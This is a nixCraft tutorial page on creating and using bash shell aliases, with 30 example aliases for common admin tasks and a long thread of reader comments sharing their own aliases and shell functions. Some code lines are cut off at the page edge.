nixCraft → Tutorials → Linux → Awesome bash aliases for Linux and Unix users to increase productivity

30 Handy Bash Shell Aliases For Linux / Unix / MacOS

Author: Vivek Gite • Last updated: March 3, 2023 • 203 comments

An **bash shell alias** is nothing but the shortcut to commands. The alias command allows the user to launch any command or group of commands (including options and filenames) by entering a single word. Use alias command to display a list of all defined aliases. You can add user-defined aliases to ~/.bashrc file. You can cut down typing time with these aliases, work smartly, and increase productivity at the command prompt.

This post shows how to create and use aliases including 30 practical examples of bash shell aliases.

More about bash shell aliases

The general syntax for the alias command for the bash shell is as follows:

How to list bash aliases

Type the following alias command:

```
$ alias
```

Sample outputs:

```
alias ..='cd ..'
alias amazonbackup='s3backup'
alias apt-get='sudo apt-get'
```

. . .

By default alias command shows a list of aliases that are defined for the current user.

How to define or create a bash shell alias

To [create the alias](#) use the following syntax:

```
$ alias name=value
$ alias name='command'
$ alias name='command arg1 arg2'
$ alias name='/path/to/script'
$ alias name='/path/to/script.pl arg1'
```

In this example, create the alias **c** for the commonly used clear command, which clears the screen, by typing the following command and then pressing the ENTER key:

```
$ alias c='clear'
```

Then, to clear the screen, instead of typing clear, you would only have to type the letter 'c' and press the [ENTER] key:

```
$ c
```

How to disable a bash alias temporarily

An [alias can be disabled temporarily](#) using the following syntax:

```
## path/to/full/command ##
$ /usr/bin/clear
## call alias with a backslash ##
$ \c
## use /bin/ls command and avoid ls alias ##
$ command ls
```

How to delete/remove a bash alias

You need to use the command [called unalias to remove aliases](#). Its syntax is as follows:

```
$ unalias aliasname
$ unalias foo
```

In this example, remove the alias c which was created in an earlier example:

```
$ unalias c
```

You also need to delete the alias from the [~/.bashrc file](#) using a text editor (see next section).

[How to make bash shell aliases permanent](#)

The alias c remains in effect only during the current login session. Once you logs out or reboot the system the alias c will be gone. To avoid this problem, add alias to your [~/.bashrc file](#), enter:

```
$ vi ~/.bashrc
```

The alias c for the current user can be made permanent by entering the following line:

```
alias c='clear'
```

Save and close the file. System-wide aliases (i.e. aliases for all users) can be put in the /etc/bashrc file. Please note that the alias command is built into a various shells including ksh, tcsh/csh, ash, bash and others.

A note about privileged access

You can add code as follows in ~/.bashrc:

```
# if user is not root, pass all commands via sudo #
if [ $UID -ne 0 ]; then
    alias reboot='sudo reboot'
    alias update='sudo apt-get upgrade'
fi
```

A note about os specific aliases

You can add code as follows in ~/.bashrc using the case statement:

```
### Get os name via uname ###
_myos="$(uname)"

### add alias as per os using $_myos ###
case $_myos in
    Linux) alias foo='/path/to/linux/bin/foo';;
```

```
    FreeBSD|OpenBSD) alias foo='/path/to/bsd/bin/foo' ;;
    SunOS) alias foo='/path/to/sunos/bin/foo' ;;
    *) ;;
  esac
```

30 bash shell aliases examples

You can define various types aliases as follows to save time and increase productivity.

#1: Control ls command output

The ls command lists directory contents and you can colorize the output:

```
## Colorize the ls output ##
alias ls='ls --color=auto'

## Use a long listing format ##
alias ll='ls -la'

## Show hidden files ##
alias l.='ls -d .* --color=auto'
```

#2: Control cd command behavior

```
## get rid of command not found ##
alias cd..='cd ..'

## a quick way to get out of current directory ##
alias ..='cd ..'
```

```
alias ...='cd ../../../'
alias ....='cd ../../../../'
alias .....='cd ../../../../'
alias .4='cd ../../../../'
alias .5='cd ../../../../..'
```

#3: Control grep command output

[grep command is a command-line utility for searching](#) plain-text files for lines matching a regular expression:

```
## Colorize the grep command output for ease of use (good for
alias grep='grep --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
```

#4: Start calculator with math support

```
alias bc='bc -l'
```

#4: Generate sha1 digest

```
alias sha1='openssl sha1'
```

#5: Create parent directories on demand

[mkdir command](#) is used to create a directory:

```
alias mkdir='mkdir -pv'
```

#6: Colorize diff output

You can [compare files line by line using diff](#) and use a tool called colordiff to colorize diff output:

```
# install  colordiff package :)
alias diff='colordiff'
```

#7: Make mount command output pretty and human readable format

```
alias mount='mount |column -t'
```

#8: Command short cuts to save time

```
# handy short cuts #
alias h='history'
alias j='jobs -l'
```

#9: Create a new set of commands

```
alias path='echo -e ${PATH//:/\\n}'
alias now='date +"%T"'
alias nowtime=now
alias nowdate='date +"%d-%m-%Y"'
```

#10: Set vim as default

```
alias vi=vim
```

```
alias svi='sudo vi'
alias vis='vim "+set si"'
alias edit='vim'
```

#11: Control output of networking tool called ping

```
# Stop after sending count ECHO_REQUEST packets #
alias ping='ping -c 5'
# Do not wait interval 1 second, go fast #
alias fastping='ping -c 100 -s.2'
```

#12: Show open ports

Use [netstat command](#) to quickly list all TCP/UDP port on the server:

```
alias ports='netstat -tulanp'
```

#13: Wakeup sleeping servers

[Wake-on-LAN (WOL) is an Ethernet networking](#) standard that allows a server to be turned on by a network message. You can [quickly wakeup nas devices](#) and server using the following aliases:

```
## replace mac with your actual server mac address #
alias wakeupnas01='/usr/bin/wakeonlan 00:11:32:11:15:FC'
alias wakeupnas02='/usr/bin/wakeonlan 00:11:32:11:15:FD'
alias wakeupnas03='/usr/bin/wakeonlan 00:11:32:11:15:FE'
```

#14: Control firewall (iptables) output

Netfilter is a host-based firewall for Linux operating systems. It is included as part of the Linux distribution and it is activated by default. This post list most common iptables solutions required by a new Linux user to secure his or her Linux operating system from intruders.

```bash
## shortcut  for iptables and pass it via sudo#
alias ipt='sudo /sbin/iptables'

# display all rules #
alias iptlist='sudo /sbin/iptables -L -n -v --line-numbers'
alias iptlistin='sudo /sbin/iptables -L INPUT -n -v --line-num
alias iptlistout='sudo /sbin/iptables -L OUTPUT -n -v --line-n
alias iptlistfw='sudo /sbin/iptables -L FORWARD -n -v --line-n
alias firewall=iptlist
```

#15: Debug web server / cdn problems with curl

```bash
# get web server headers #
alias header='curl -I'

# find out if remote server supports gzip / mod_deflate or not
alias headerc='curl -I --compress'
```

#16: Add safety nets

```bash
# do not delete / or prompt if deleting more than 3 files at a
alias rm='rm -I --preserve-root'

# confirmation #
alias mv='mv -i'
```

```
alias cp='cp -i'
alias ln='ln -i'

# Parenting changing perms on / #
alias chown='chown --preserve-root'
alias chmod='chmod --preserve-root'
alias chgrp='chgrp --preserve-root'
```

#17: Update Debian Linux server

apt-get command is used for installing packages over the internet (ftp or http). You can also upgrade all packages in a single operations:

```
# distro specific  - Debian / Ubuntu and friends #
# install with apt-get
alias apt-get="sudo apt-get"
alias updatey="sudo apt-get --yes"

# update on one command
alias update='sudo apt-get update && sudo apt-get upgrade'
```

#18: Update RHEL / CentOS / Fedora Linux server

yum command is a package management tool for RHEL / CentOS / Fedora Linux and friends:

```
## distrp specifc RHEL/CentOS ##
alias update='yum update'
alias updatey='yum -y update'
```

#19: Tune sudo and su

```
# become root #
alias root='sudo -i'
alias su='sudo -i'
```

#20: Pass halt/reboot via sudo

shutdown command bring the Linux / Unix system down:

```
# reboot / halt / poweroff
alias reboot='sudo /sbin/reboot'
alias poweroff='sudo /sbin/poweroff'
alias halt='sudo /sbin/halt'
alias shutdown='sudo /sbin/shutdown'
```

#21: Control web servers

```
# also pass it via sudo so whoever is admin can reload it with
alias nginxreload='sudo /usr/local/nginx/sbin/nginx -s reload'
alias nginxtest='sudo /usr/local/nginx/sbin/nginx -t'
alias lightyload='sudo /etc/init.d/lighttpd reload'
alias lightytest='sudo /usr/sbin/lighttpd -f /etc/lighttpd/lig
alias httpdreload='sudo /usr/sbin/apachectl -k graceful'
alias httpdtest='sudo /usr/sbin/apachectl -t && /usr/sbin/apac
```

#22: Alias into our backup stuff

```
# if cron fails or if you want backup on demand just run these
# again pass it via sudo so whoever is in admin group can star
```

```
# Backup scripts #
alias backup='sudo /home/scripts/admin/scripts/backup/wrapper.
alias nasbackup='sudo /home/scripts/admin/scripts/backup/wrapp
alias s3backup='sudo /home/scripts/admin/scripts/backup/wrappe
alias rsnapshothourly='sudo /home/scripts/admin/scripts/backup
alias rsnapshotdaily='sudo  /home/scripts/admin/scripts/backup
alias rsnapshotweekly='sudo /home/scripts/admin/scripts/backup
alias rsnapshotmonthly='sudo /home/scripts/admin/scripts/backu
alias amazonbackup=s3backup
```

#23: Desktop specific – play avi/mp3 files on demand

```
## play video files in a current directory ##
# cd ~/Download/movie-name
# playavi or vlc
alias playavi='mplayer *.avi'
alias vlc='vlc *.avi'

# play all music files from the current directory #
alias playwave='for i in *.wav; do mplayer "$i"; done'
alias playogg='for i in *.ogg; do mplayer "$i"; done'
alias playmp3='for i in *.mp3; do mplayer "$i"; done'

# play files from nas devices #
alias nplaywave='for i in /nas/multimedia/wave/*.wav; do mplay
alias nplayogg='for i in /nas/multimedia/ogg/*.ogg; do mplayer
alias nplaymp3='for i in /nas/multimedia/mp3/*.mp3; do mplayer

# shuffle mp3/ogg etc by default #
alias music='mplayer --shuffle *'
```

#24: Set default interfaces for sys admin related commands

vnstat is console-based network traffic monitor. dnstop is console tool to analyze DNS traffic. tcptrack and iftop commands displays information about TCP/UDP connections it sees on a network interface and display bandwidth usage on an interface by host respectively.

```
## All of our servers eth1 is connected to the Internets via v
alias dnstop='dnstop -l 5  eth1'
alias vnstat='vnstat -i eth1'
alias iftop='iftop -i eth1'
alias tcpdump='tcpdump -i eth1'
alias ethtool='ethtool eth1'

# work on wlan0 by default #
# Only useful for laptop as all servers are without wireless i
alias iwconfig='iwconfig wlan0'
```

#25: Get system memory, cpu usage, and gpu memory info quickly

```
## pass options to free ##
alias meminfo='free -m -l -t'

## get top process eating memory
alias psmem='ps auxf | sort -nr -k 4'
alias psmem10='ps auxf | sort -nr -k 4 | head -10'

## get top process eating cpu ##
alias pscpu='ps auxf | sort -nr -k 3'
alias pscpu10='ps auxf | sort -nr -k 3 | head -10'
```

```
## Get server cpu info ##
alias cpuinfo='lscpu'

## older system use /proc/cpuinfo ##
##alias cpuinfo='less /proc/cpuinfo' ##

## get GPU ram on desktop / laptop##
alias gpumeminfo='grep -i --color memory /var/log/Xorg.0.log'
```

#26: Control Home Router

The curl command can be used to [reboot Linksys routers](#).

```
# Reboot my home Linksys WAG160N / WAG54 / WAG320 / WAG120N Ro
alias rebootlinksys="curl -u 'admin:my-super-password' 'http:/

# Reboot tomato based Asus NT16 wireless bridge
alias reboottomato="ssh admin@192.168.1.1 /sbin/reboot"
```

#27 Resume wget by default

The [GNU Wget is a free utility for non-interactive download](#) of files from the Web. It supports HTTP, HTTPS, and FTP protocols, and it can resume downloads too:

```
## this one saved by butt so many times ##
alias wget='wget -c'
```

#28 Use different browser for testing website

```
## this one saved by butt so many times ##
alias ff4='/opt/firefox4/firefox'
alias ff13='/opt/firefox13/firefox'
alias chrome='/opt/google/chrome/chrome'
alias opera='/opt/opera/opera'

#default ff
alias ff=ff13

#my default browser
alias browser=chrome
```

#29: A note about ssh alias

Do not create ssh alias, instead use ~/.ssh/config OpenSSH SSH client configuration files. It offers more option. An example:

```
Host server10
  Hostname 1.2.3.4
  IdentityFile ~/backups/.ssh/id_dsa
  user foobar
  Port 30000
  ForwardX11Trusted yes
  TCPKeepAlive yes
```

You can now connect to peer1 using the following syntax:

```
$ ssh server10
```

#30: It's your turn to share…

```
## set some other defaults ##
alias df='df -H'
alias du='du -ch'

# top is atop, just like vi is vim
alias top='atop'

## nfsrestart  - must be root  ##
## refresh nfs mount / cache etc for Apache ##
alias nfsrestart='sync && sleep 2 && /etc/init.d/httpd stop &&

## Memcached server status  ##
alias mcdstats='/usr/bin/memcached-tool 10.10.27.11:11211 stat
alias mcdshow='/usr/bin/memcached-tool 10.10.27.11:11211 displ

## quickly flush out memcached server ##
alias flushmcd='echo "flush_all" | nc 10.10.27.11 11211'

## Remove assets quickly from Akamai / Amazon cdn ##
alias cdndel='/home/scripts/admin/cdn/purge_cdn_cache --profil
alias amzcdndel='/home/scripts/admin/cdn/purge_cdn_cache --pro

## supply list of urls via file or stdin
alias cdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profi
alias amzcdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --pr
```

Conclusion

This post summarizes several types of uses for *nix bash aliases:

1. Setting default options for a command (e.g. set eth0 as default option for ethtool command via `alias ethtool='ethtool eth0'`).

2. Correcting typos (cd.. will act as cd .. via `alias cd..='cd ..'`).

3. Reducing the amount of typing.

4. Setting the default path of a command that exists in several versions on a system (e.g. GNU/grep is located at /usr/local/bin/grep and Unix grep is located at /bin/grep. To use GNU grep use `alias grep='/usr/local/bin/grep'`).

5. Adding the safety nets to Unix by making commands interactive by setting default options. (e.g. rm, mv, and other commands).

6. Compatibility by creating commands for older operating systems such as MS-DOS or other Unix like operating systems (e.g. alias del=rm).

I've shared my aliases that I used over the years to reduce the need for repetitive command line typing. If you know and use any other bash/ksh/csh aliases that can reduce typing, share below in the [comments](#).

Conclusion

I hope you enjoyed my collection of bash shell aliases. See

- [Customize the bash shell environments](#)

- [Download all aliases featured in this post](#)

- [GNU bash shell home page](#)

About the author: Vivek Gite is the founder of nixCraft, the oldest running blog about Linux and open source. He wrote more than 7k+ posts and helped numerous readers to master IT topics. Join the nixCraft community via [RSS Feed](#) or [Email Newsletter](#).

🙄 Was this helpful? Please add [a comment to show your appreciation or feedback](#). nixCraft is a one-person show, and many of you use Adblocker. Keeping the site online is challenging, with everyone blocking Ads 😊. Please support the nixCraft with a [PayPal donation](#) or [Patreon](#).

🔍 To search, type & hit enter...

Related Posts

[BASH Fix Display and Console Garbage and Gibberish on a…](#)

[Download of the day: pidgin instant messaging for Linux,…](#)

[Download Tux Paint Program For Young Children…](#)

[How to use bash without installing bash (get a free shell…](#)

Bash add pause prompt in a shell script (bash pause command…

Bash Shell: Find Out Linux / FreeBSD / UNIX System Load…

Linux / UNIX: Find Out If File Exists With Conditional…

How To Debug a Bash Shell Script Under Linux or UNIX

Category	List of Unix and Linux commands
Ansible	Check version • Fedora • FreeBSD • Linux • Ubuntu 18.04 • Ubuntu • macOS
Backup Management	Debian/Ubuntu • FreeBSD • RHEL
Database Server	Backup MySQL server • MariaDB Galera cluster • MariaDB TLS/SSL • MariaDB replication • MySQL Server • MySQL remote access
Download managers	wget
Driver Management	Linux Nvidia driver • lsmod

Category	List of Unix and Linux commands
Documentation	help • mandb • man • pinfo
Disk Management	df • duf • ncdu • pydf
File Management	cat • cp • less • mkdir • more • tree
Firewall	Alpine Awall • CentOS 8 • OpenSUSE • RHEL 8 • Ubuntu 16.04 • Ubuntu 18.04 • Ubuntu 20.04 • Ubuntu 24.04
KVM Virtualization	CentOS/RHEL 7 • CentOS/RHEL 8 • Debian 9/10/11 • Ubuntu 20.04
Linux Desktop apps	Chrome • Chromium • GIMP • Skype • Spotify • VLC 3
LXD	Backups • CentOS/RHEL • Fedora • Mount dir • Ubuntu 20.04
Modern utilities	bat • exa
Network Management	Monitoring tools • Network services • RHEL static IP • Restart network interface • nmcli
Network Utilities	NetHogs • dig • host • ip • nmap • ping
OpenVPN	CentOS 7 • CentOS 8 • Debian 10 • Debian 11 • Debian 8/9 • Ubuntu 18.04 • Ubuntu 20.04
Power Management	upower
Package Manager	apk • apt-get • apt • yum
Processes Management	bg • chroot • cron • disown • fg • glances • gtop • iotop • jobs • killall • kill • pidof • pstree • pwdx • time • vtop
Searching	ag • egrep • grep • whereis • which

Category	List of Unix and Linux commands
Shell builtins	compgen • echo • printf
System Management	reboot • shutdown
Terminal/ssh	sshpass • tty
Text processing	cut • rev
Text Editor	6 Text editors • Save and exit vim
User Environment	exit • who
User Information	groups • id • lastcomm • last • lid/libuser-lid • logname • members • users • whoami • w
User Management	/etc/group • /etc/passwd • /etc/shadow • chsh
Web Server	Apache • Let's Encrypt certificate • Lighttpd • Nginx Security • Nginx
WireGuard VPN	Alpine • Amazon Linux • CentOS 8 • Debian 10 • Firewall • Ubuntu 20.04 • qrencode

203 comments… add one ↓

mchris • Jun 11, 2012 @ 6:37

Nice list; found a couple new things I never thought of. To return the favor; my addon..

A nice shell is key in bash imo; I color code my next line based on previous commands return code..

```
bash_prompt_command()
{
    RTN=$?
    prevCmd=$(prevCmd $RTN)
}
PROMPT_COMMAND=bash_prompt_command
prevCmd()
{
    if [ $1 == 0 ] ; then
        echo $GREEN
    else
        echo $RED
    fi
}
if [ $(tput colors) -gt 0 ] ; then
    RED=$(tput setaf 1)
    GREEN=$(tput setaf 2)
    RST=$(tput op)
fi
export PS1="[e[36m]u.h.W[e[0m][$prevCmd]>[$RST]"
```

And I liked your .{1,2,3,4} mapping; how I integrated it…

```
dotSlash=""
for i in 1 2 3 4
do
```

```
        dotSlash=${dotSlash}'../';
        baseName=".${i}"
        alias $baseName="cd ${dotSlash}"
    done
```

And two random quick short ones..

```
    #progress bar on file copy. Useful evenlocal.
    alias cpProgress="rsync --progress -ravz"
```

```
    #I find it useful when emailing blurbs to people and want to i
    alias ping="time ping"
```

reply   link

Scott Rowley • Mar 22, 2013 @ 14:15

The following is my version of the "up function" I came up with this morning:

```
    # Functions
    up () {

            COUNTER=$1
            while [[ $COUNTER -gt 0 ]]
             do
```

```
            UP="${UP}../"
            COUNTER=$(( $COUNTER -1 ))
          done
        echo "cd $UP"
        cd $UP
        UP=''


    }
```

reply   link

---

linuxnetzer • Jun 11, 2012 @ 6:45

Show text file without comment (#) lines (Nice alias for /etc files which have tons of comments like /etc/squid.conf)

```
alias nocomment='grep -Ev '''^(#|$)''''
```

Usage e.g.:

```
nocomment /etc/squid.conf
```

reply   link

🐧 **nixCraft** • Jun 11, 2012 @ 6:58

@linuxnetzer, nocommand is nice to dump squid, httpd and many others

config files.

@mchris, I liked cp alias that can show progress.

Appreciate your comments.

reply   link

Tom Ryder • Jun 11, 2012 @ 6:58

Ctrl+L is also a nice quick way to clear the terminal.

reply   link

TooManySecrets • Jun 11, 2012 @ 7:32

Hi!

This isn't an alias, but for clear screen is very handy the CTRL+L xDD

Have a nice day ☺

TooManySecrets

reply   link

Sean • Jun 11, 2012 @ 8:01

One that I find useful is:

```
alias du1='du -d 1'
```

reply   link

Sergio Luiz Araujo Silva • Jun 11, 2012 @ 10:12

apt-get with limit

```
alias apt-get="apt-get -o Acquire::http::Dl-Limit=15"
```

To open last edited file

```
alias lvim="vim -c "normal '0""
```

reply   link

Tales Teixeira • Jan 11, 2013 @ 1:55

Try !vim

reply   link

Sdaiy • Jun 11, 2012 @ 12:34

Nice list. Never knew about some of these aliases and commands.

reply   link

---

satish • Jun 11, 2012 @ 13:23

good list, an alias I use commonly

ll "ls -l"

reply   link

---

oll • Jun 11, 2012 @ 14:31

Nice tricks.

But be careful with some aliases (typically the #7 mount), since you won't be able to use them directly when you pass arguments .

[root@myhost ~]# alias mount='mount |column -t'
[root@myhost ~]# mount myserver:/share /mnt

column: myserver:/share: No such file or directory

It's better to use scripts whith these kinds of commands

reply   link

Fumando_Espero • Jan 8, 2013 @ 14:32

You are very right in your appreciation. An alias is a "dumb" substitution in that it doesn't interpret arguments.

reply   link

---

booczczu • May 10, 2013 @ 15:19

Do it this way:

```
alias mountt=â€™mount |column -tâ€™
```

(note the double "t") and than you can use the original mount command to do its job.

reply　link

---

mchris • Jun 11, 2012 @ 14:47

In reply to comment of "Reopen last edited file in vim", alternative recommendation that will be more portable to other uses…

vim

Can also use history here; if you edited /etc/host 4 files ago; you can just type host and you're good to go. Works with all commands; I use it constantly.

(Also, is also incredibly useful. Also accepts direct place in previous commands)

reply　link

Rob • Jun 11, 2012 @ 15:05

Don't forget… sl="ls". Though Steam Locomotive is funny for a while, this is always the easier solution.

reply　link

🐧 **nixCraft** • Jun 11, 2012 @ 16:49

@oll

```
mount myserver:/share /mnt
```

And you are done with it. No need to write scripts.

reply   link

---

esritter • Jun 11, 2012 @ 17:22

My bashrc has been with me for over a decade. I love to tinker and modify it a bunch, so I've added an alias I borrowed/stole/ganked from someone ages ago:

```
alias='$EDITOR ~/.bashrc ; source ~/.bashrc'
```

reply   link

---

mikaere66 • Apr 1, 2013 @ 19:17

Hi esritter … I'm relatively new to Linux, so I don't understand your alias. Can you please explain?

reply   link

---

danneu • Apr 10, 2013 @ 6:45

A more explicit version of that alias (that I use) would look like:

```
alias bashrc="vim ~/.bashrc && source ~/.bashrc
```

Basically, it runs `source` for you once you save&exit the file. `source` picks up changes in the file.

reply   link

---

jkirchartz • Jun 3, 2013 @ 17:45

this will open ~/.bashrc in your $EDITOR (which should be set to vim/emacs something) then re-load the ~/.bashrc so your tweaks are available immediately.

reply   link

Babu • Jun 12, 2012 @ 3:33

Like it ! Thanks.

reply   link

Honeypuck • Jun 12, 2012 @ 3:39

Nice commands!
In case you would like to be shown the contents of a directory immediately after moving to it by cd DIRECTORY you could define the following function in *.bashrc:*

```
cdl()    {
```

```
    cd"$@";
    ls -al;
}
```

You can modify the options of ls to meet your needs of course.

```
alias ..='cd ..'
to
```

```
alias ..='cdl ..'
```

reply   link

---

sky • Jan 6, 2015 @ 19:09

It is really useful but how do you using this on the alias line….
like

alias …….= '……………………….'

reply   link

ANVER HISHAM • Aug 25, 2016 @ 10:51

I think it's not possible, because 'alias' can't accept input, just like we did with $1 here.

reply   link

ANVER HISHAM • Aug 25, 2016 @ 10:48

It should be

```
cdl() { cd "$@"; ls; }
```

There should be a space between "cd" and "$@"

reply   link

Rishi G • Jun 12, 2012 @ 4:01

Here are 4 commands i use for checking out disk usages.

```
#Grabs the disk usage in the current directory
alias usage='du -ch | grep total'

#Gets the total disk usage on your machine
alias totalusage='df -hl --total | grep total'

#Shows the individual partition usages without the temporary m
alias partusage='df -hlT --exclude-type=tmpfs --exclude-type=d

#Gives you what is using the most space. Both directories and
#current directory
alias most='du -hsx * | sort -rh | head -10'
```

reply   link

---

shadowbq • Dec 17, 2012 @ 14:08

usage is better written as

alias usage='du -ch 2> /dev/null |tail -1'

reply   link

Mark • Jan 12, 2013 @ 18:08

Thank you all for your aliases.

I found this one long time ago and it proved to be useful.

shoot the fat ducks in your current dir and sub dirs

alias ducks='du -ck | sort -nr | head'

reply   link

Karsten • Jul 17, 2013 @ 21:30

While it would still work, the problem with usage='du -ch | grep total' is that you will also get directory names that happen to also have the word 'total' in them.

A better way to do this might be: 'du -ch | tail -1'

reply   link

Karsten • Jul 17, 2013 @ 21:57

Over dinner I thought to myself "hmm, what if I want to use the total in a script?" and came up with this in mid entrÃ©e:

du -h | awk 'END{print $1}'

Now you'll just get something like: 92G

reply   link

James C. Woodburn • Jun 12, 2012 @ 11:45

I always create a ps2 command that I can easily pass a string to and look for it in the process table. I even have it remove the grep of the current line.

alias ps2='ps -ef | grep -v $$ | grep -i '

reply   link

---

sbin_bash • Mar 26, 2013 @ 13:14

with header:

alias psg='ps -Helf | grep -v $$ | grep -i -e WCHAN -e '

reply   link

Juanma • Jun 12, 2012 @ 12:45

Nice post. Thanks.
@oll & Vivek: I'm sure you know this, but to leave trace of it in this page I'll mention that, at least in Bash, you have functions as a compromise between aliases and scripts. In fact, I solved a similar situation to what is described in #7 with a function:
I keep some files under version control, hard-linking to those files into a

given folder, so I want *find* to ignore that folder, and I don't want to re-think and re-check how to use *prune* option every time:

```
function f {
    arg_path=$1 && shift
    find $arg_path -wholename "*/path-to-ignore/*" -prune -
}
```

reply   link

---

hhanff • Jun 12, 2012 @ 14:15

This will move you up by one dir when pushing AltGr .
It will move you back when pushing AltGr Shift .
bind '"â€¦":"pushd ..n"' # AltGr .

bind '"Ã·":"popdn"' # AltGr Shift .

Hendrik

reply   link

Bill C. • Jun 12, 2012 @ 16:58

One more thing to keep in mind is the difference in syntax between shells. I used to work on a system that used HP-UX and Sun Solaris, and the alias commands were different. One system used
alias ll='ls -l'
and the other one (I can't remember which was which, sorry) was

alias ll 'ls -l'

Something to be aware of!

Thanks for this article and the site, V! Keep 'em coming!

reply   link

---

old486whizz • Jun 12, 2012 @ 17:16

I would use a function for df:
df () {
if [["$1" = "-gt"]]; then
x="-h"
shift
x=$x" $@"
fi
/bin/df $x -P |column -t

}

That way you can put "df -k /tmp" (etc).

… I work with AIX a lot, so often end up typing "df -gt", so that's why the if statement is there.

I also changed "mount" to "mnt" for the column's:
alias mnt="mount |column -t"

reply   link

Art Protin • Jun 12, 2012 @ 21:53

Any alias of rm is a very stupid idea (except maybe alias rm=echo fool).

A co-worker had such an alias. Imagine the disaster when, visiting a customer site, he did "rm *" in the customer's work directory and all he got was the prompt for the next command after rm had done what it was told to do.

It you want a safety net, do "alias del='rm -I –preserve_root'",

reply   link

Drew Hammond • Mar 26, 2014 @ 19:41

^ This x10000.

I've made the same mistake before and its horrible.

reply   link

Cody • Feb 7, 2023 @ 20:53

This is something I've written about as well.

A similar problem is with the default babysitting of certain commands having the default option –preserve-root.

Imagine when you then go to another site that doesn't have that default and you do something stupid. It might be you're too tired, it might be a typo, it might be something else. But if you're babysat at the command prompt it can bite you eventually.

It's a very misguided idea that certain developers have and I'm being very kind and generous with the word misguided.

reply   link

Opt • Jun 13, 2012 @ 0:22

Great post I've been looking for something like this I always tend to go about things the long way round. With these alias and some shell scripting I'm really starting to cut down on wasted time!

Thanks again!

reply   link

Blue Thing • Jun 13, 2012 @ 6:19

I use this one when I need to find the files that has been added/modified most recently:

alias lt='ls -alrt'

reply   link

tef • Jun 14, 2012 @ 16:56

```
# file tree
alias tree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|;
```

```
#turn screen off
alias screenoff="xset dpms force off"


# list folders by size in current directory
alias usage="du -h --max-depth=1 | sort -rh"


# e.g., up -> go up 1 directory
# up 4 -> go up 4 directories
up()
{
    dir=""
    if [[ $1 =~ ^[0-9]+$ ]]; then
        x=0
        while [ $x -lt ${1:-1} ]; do
            dir=${dir}../
            x=$(($x+1))
        done
    else
        dir=..
    fi
    cd "$dir";
}
```

reply   link

---

tef • Jun 14, 2012 @ 19:38

might be a repost, oops

```
# ganked these from people

#not an alias, but I thought this simpler than the cd control
#If you pass no arguments, it just goes up one directory.
#If you pass a numeric argument it will go up that number of d
#If you pass a string argument, it will look for a parent dire
up()
{
    dir=""
    if [ -z "$1" ]; then
        dir=..
    elif [[ $1 =~ ^[0-9]+$ ]]; then
        x=0
        while [ $x -lt ${1:-1} ]; do
            dir=${dir}../
            x=$(($x+1))
        done
    else
        dir=${PWD%/$1/*}/$1
    fi
    cd "$dir";

#turn screen off
alias screenoff="xset dpms force off"

#quick file tree
alias filetree="find . -print | sed -e 's;[^/]*/;|____;g;s;___
```

30 Handy Bash Shell Aliases For Linux / Unix / M...   https://www.cyberciti.biz/tips/bash-aliases-mac-ce...

reply   link

Richard T • Apr 18, 2022 @ 22:42

I like that filetree command, very cool!

reply   link

---

em • Jun 20, 2012 @ 5:31

a little mistake, not really important if you don't copy/paste like a dumbass 🙂

alias iptlistfw='sudo /sbin/iptables -L FORWORD -n -v –line-numbers'

it is "FORWARD", not "FORWORD"

reply   link

🐧 **nixCraft** • Jun 20, 2012 @ 6:34

@em

Thanks for the heads up.

reply   link

---

nishanth • Jul 20, 2012 @ 4:38

In "Task: Disable an alias temporarily (bash syntax)"

path/to/full/command

42 of 117   03/12/2023 02:54 PM

/usr/bin/clear

call alias with a backslash

c ===> This should be clear right?

reply   link

Biocyberman • Oct 22, 2012 @ 9:07

No.

Previously he set the alias:
alias c='clear'

so c is correct.

reply   link

O-Deka-K • Mar 12, 2013 @ 15:34

True, but unless you have a program called 'c', this doesn't do anything useful. The example doesn't really illustrate the point. This one is better:

```
## Interactive remove
alias rm='rm -i'

## Call the alias (interactive remove)
rm
```

```
    ## Call the original command (non-interactive remove)
    rm
```

reply   link

---

kioopi • Nov 26, 2012 @ 9:55

```
alias tgrep='rgrep --binary-files=without-match'
alias serve='python -m SimpleHTTPServer'
```

reply   link

Mac Maha • Nov 27, 2012 @ 9:58

I used it this way.
I added myself to visudo file with nopasswd privileges.
so that I don't have to type password when I do "sudo su -".
Then created alias root='sudo su -'

This enables me to log in to root with just "root".

by the ways the article is very helpful for everyone who works on linux
servers or desktops on everyday basis.
Regards,

Mac Maha.

reply   link

Larry Helms • Dec 2, 2012 @ 23:00

I move across various *nix type OSes. I have found that it's easiest to keep my login stuff (aliases & environment variables) in separate files as in .aliases-{OS}. E.g.:

```
$HOME/.aliases-darwin
$HOME/.aliases-linux
```

All I have to do then in .bashrc, or .profile, whatever is do this:

```
OS=$( uname | tr '[:upper:]' ':[lower:]')

. $HOME/.aliases-${OS}
. $HOME/.environment_variables-${OS}
```

and/or

```
for SCRIPT in $( ls -1 $HOME/scripts/login/*-${OS} )
do
  . ${SCRIPT}
done
```

reply   link

    EW1(SG) • Jan 1, 2013 @ 15:38

And Larry wins the thread going away!

reply   link

Martin • Dec 4, 2012 @ 9:31

i have 2 more that haven't been posted yet:

helps with copy and pasting to and from a terminal using X and the mouse. (i chose the alias name according to what the internet said the corresponding macos commands are.)

```
alias pbcopy='xsel --clipboard --input'
alias pbpaste='xsel --clipboard --output'
```

and something I use rather frequently when people chose funny file/directory names (sad enough):

```
chr() {
  printf \$(printf '%03o' $1)
}

ord() {
  printf '%d' "'$1"
}
```

reply   link

Martin • Dec 4, 2012 @ 9:33

edit:

the pb* aliases are especially for piping output to the clipboard and vice versa

---

Tom • Dec 20, 2012 @ 14:18

That was a great list. Here are some of mine:

I use cdbin to cd into a bin folder that is many subdirectories deep:

```
alias cdbin='cd "/mnt/shared/Dropbox/My Documents/Linux/bin/"'
```

I can never remember the sync command.

```
alias flush=sync
```

I search the command history a lot:

```
alias hg='history|grep '
```

My samba share lives inside a TrueCrypt volume, so I have to manually restart samba after TC has loaded.

```
alias restsmb='sudo service smb restart'
```

I'm surprised that nobody else suggested these:

```
alias syi='sudo yum install'
alias sys='sudo yum search'
```

reply   link

---

zork • Jan 16, 2013 @ 16:59

I find these aliases are helpful

```
alias up1="cd .."

# edit multiple files split horizontally or vertically
alias   e="vim -o "
alias   E="vim -O "

# directory-size-date (remove the echo/blank line if you desir
alias dsd="echo;ls -Fla"
alias   dsdm="ls -FlAh | more"
# show directories only
alias   dsdd="ls -FlA | grep :*/"
